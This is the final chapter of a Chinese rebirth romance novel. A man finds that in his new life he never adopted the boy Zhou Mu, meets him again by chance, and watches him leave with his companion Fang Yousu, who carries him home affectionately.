周胤城再一次醒来时,看到时间依然是那个熟悉的日子。 他感到很疑惑。 他走出房门时,问管家:“周木呢?” 管家一脸疑惑地回答:“周木是谁?” 周胤城说:“我儿子啊。” 管家笑了,说:“老爷你只有锦墨少爷一个儿子啊,哪里来的一个叫周木的儿子。” 问了很久,周胤城才搞清楚,在这一世,他根本就没有领养过周木。 一年后,当他从公司开车回家的路上,他看见在街头红绿灯那里,站着一个少年。 等他的脸转过来时,周胤城几乎是立马就跳下了车。 他不顾后面的车怎么按喇叭,只一心想扑到周木身上去。 他的突然出现吓坏了在那里等人的少年。 周胤城激动难耐地喊:“周木。” 少年一脸惊诧,反应了半晌才问:“你怎么知道我的名字?” 他的眼睛干净而清澈,不谙世事。 周胤城突然就不知道说什么了。 这时被他抓住的少年突然被另一只手拖了过去。 方佑肃。 他把手里的两个冰淇淋递了一个到周木手里,在不露痕迹地把周木挡在自己后面之后,问周胤城:“你要干什么?” 周胤城哑口无言。 后来周胤城只能眼睁睁地看着方佑肃把周木带走。 他也没有任何理由来阻止。 周木。看来这一世,你过得很好。 可是,为什么我的心里这么难受呢? ………………………… 被方佑肃强硬地带走离开的周木有点没搞清楚状况,他一边吃着手里的甜食,一边问:“方小肃,为什么你要带我走这么急啊?” 方佑肃突然回头,一脸严肃地跟他说:“你以后,不要再接近那个人,也不要让他接近你。” 周木问:“为什么呀?” 方佑肃说:“因为他会把你,从我身边抢走。” 周木说:“嗯,我答应你。但是作为条件你要背我回去。” 方佑肃毫不犹豫地蹲下身来。 在背着周木往前走的时候,方佑肃听到背上的人宣誓一般很认真的语气。 “我不会跟他走的。因为我舍不得离开你啊,方小肃。” 方佑肃的嘴角勾起一抹幸福的笑容。 我也是。 ——全文完——